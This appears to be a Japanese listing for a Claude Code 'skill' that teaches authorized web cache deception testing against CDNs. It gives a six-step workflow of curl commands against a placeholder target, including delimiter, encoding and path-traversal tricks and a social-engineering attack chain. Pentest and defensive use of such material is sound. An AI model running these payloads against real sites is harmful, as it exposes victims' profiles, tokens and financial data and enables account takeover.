mcpField
P
performing-web-cache-deception-attack

performing-web-cache-deception-attack

github.com/mukul975セキュリティ35.2k225 回インストール8 週間前に更新
リポジトリ

performing-web-cache-deception-attack について

CDNやリバースプロキシ配下のアプリケーションを評価する、許可を得たセキュリティテスト向けのスキルです。パス処理、キャッシュキー、検証と報告の手順を扱います。

主な機能

  1. 01キャッシュ層と動作の特定
  2. 02パスベースの攻撃テスト
  3. 03区切り文字と正規化の差の確認
  4. 04キャッシュキー構成の分析
  5. 05結果の検証と記録

活用シーン

  1. 01認証済みページのキャッシュ評価
  2. 02プロフィール情報の漏えいリスク確認
  3. 03CDNとオリジンのパス処理比較

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-web-cache-deception-attack

インストール後、Claude Code で/performing-web-cache-deception-attackを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

Web キャッシュ欺瞞攻撃の実行

使用するタイミング

  • CDN やリバースプロキシ(Cloudflare、Akamai、Varnish、Nginx)の背後にあるアプリケーションをテストするとき
  • 認証済みページのキャッシュ動作を評価するとき
  • キャッシュ層とオリジン層の間でパスの正規化に違いがあるか評価するとき
  • 積極的なキャッシュポリシーを採用しているアプリケーションでバグバウンティを行うとき
  • キャッシュ層の設定ミスによる機密データの漏えいをテストするとき

前提条件

  • HTTP キャッシュの仕組み(Cache-Control、Vary、Age ヘッダー)を理解していること
  • CDN のパス正規化とキャッシュキーの構築方法に関する知識
  • リクエストをインターセプトして作成するための Burp Suite
  • 2 つのブラウザーセッション(認証済みの被害者と未認証の攻撃者)
  • テクノロジーごとの URL パス解析の違いを理解していること
  • 一般的な CDN プラットフォーム(Cloudflare、Akamai、Fastly、AWS CloudFront)に精通していること

法的通知: このスキルは、許可されたセキュリティテストおよび教育目的にのみ使用してください。所有していないシステムや、テストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

ワークフロー

ステップ 1 — キャッシュ層と動作を特定する
# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done
ステップ 2 — パスベースのキャッシュ欺瞞をテストする
# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:

# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various extensions
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done
ステップ 3 — 区切り文字による不一致を悪用する
# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"
ステップ 4 — 正規化の不一致をテストする
# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin

# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"
ステップ 5 — キャッシュキーの操作を悪用する
# Identify cache key components
# CDN may use: scheme + host + path (excluding query string)
# Test if query string affects caching

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# Test if the CDN uses the full path or normalized path as cache key
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # Check if cached

# Header-based cache key manipulation
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
  "http://target.com/static/cached.css"
ステップ 6 — 攻撃を検証して記録する
# Full attack chain:
# 1. Craft malicious URL: http://target.com/account/profile/x.css
# 2. Send URL to victim (via social engineering, email, etc.)
# 3. Victim clicks link while authenticated
# 4. CDN caches the authenticated response
# 5. Attacker requests the same URL without authentication
# 6. CDN serves cached authenticated content to attacker

# Verify cache status
curl -I "http://target.com/account/profile/x.css"
# Confirm: X-Cache: HIT or CF-Cache-Status: HIT

# Check what sensitive data is exposed
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"

主要な概念

概念説明
キャッシュ欺瞞CDN をだまして、認証済みの動的コンテンツを静的リソースとしてキャッシュさせること
パスの正規化CDN とオリジンがパスセグメント(../、;、エンコードされた文字)を異なる方法で解決すること
キャッシュキーキャッシュされたレスポンスの保存や取得に CDN が使用する識別子(通常は URL パス)
静的拡張子のトリック動的 URL に .css/.js/.png を追加してキャッシュ動作を誘発すること
区切り文字による不一致キャッシュとオリジンサーバーで異なる解釈をされる文字(;、?、#)
キャッシュポイズニングとキャッシュ欺瞞ポイズニングはすべてのユーザー向けのキャッシュを変更し、欺瞞は特定の被害者のデータをキャッシュすること
Vary ヘッダーどのリクエスト属性がキャッシュキーに影響するかを制御する HTTP ヘッダー

ツールとシステム

ツール用途
Burp Suiteキャッシュ欺瞞リクエストを作成するための HTTP プロキシ
curlキャッシュ動作とレスポンスヘッダーのコマンドラインテスト
Web Cache Vulnerability Scannerキャッシュ欺瞞/ポイズニングを検出する自動ツール
Param Minerキーに含まれないキャッシュパラメーターを検出する Burp 拡張機能
Cloudflare DiagnosticsCF-Cache-Status ヘッダーと cf-ray ヘッダーを分析
Varnish CLIVarnish ベースの環境でキャッシュを直接調査

一般的なシナリオ

  1. プロフィールデータの窃取 — プロフィール URL に .css 拡張子を追加して、個人を特定できる情報(メールアドレス、住所、電話番号)を含む認証済みユーザーのプロフィールページをキャッシュする
  2. API トークンの漏えい — CDN 上でパスを操作し、トークンやシークレットを表示する API ダッシュボードのページをキャッシュする
  3. アカウントの乗っ取り — セッショントークンや CSRF トークンを含むページをキャッシュし、窃取したトークンを使ってアカウントを乗っ取る
  4. 金融データの漏えい — 口座残高や取引履歴を表示する銀行または決済ページをキャッシュする
  5. 管理パネルのキャッシュ — CDN 上で区切り文字によるパスの混同を利用し、アクセス可能な管理ページをキャッシュする

出力形式

## Web Cache Deception Report
- **Target**: http://target.com
- **CDN**: Cloudflare
- **Vulnerability**: Path-based cache deception via static extension appending

### Cache Behavior Analysis
| Extension | Cached | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | Yes | public, max-age=86400 | 24h |
| .js | Yes | public, max-age=86400 | 24h |
| .png | Yes | public, max-age=604800 | 7d |

### Exploitation Results
| Victim URL | Cached Data | Sensitive Fields |
|-----------|-------------|-----------------|
| /account/profile/x.css | Full profile page | Email, Name, API Key |
| /account/settings/x.js | Settings page | 2FA backup codes |

### Remediation
- Configure CDN to respect Cache-Control: no-store on dynamic pages
- Implement Vary: Cookie header on authenticated endpoints
- Use path-based routing rules that reject unexpected extensions
- Enable consistent path normalization between CDN and origin

コメント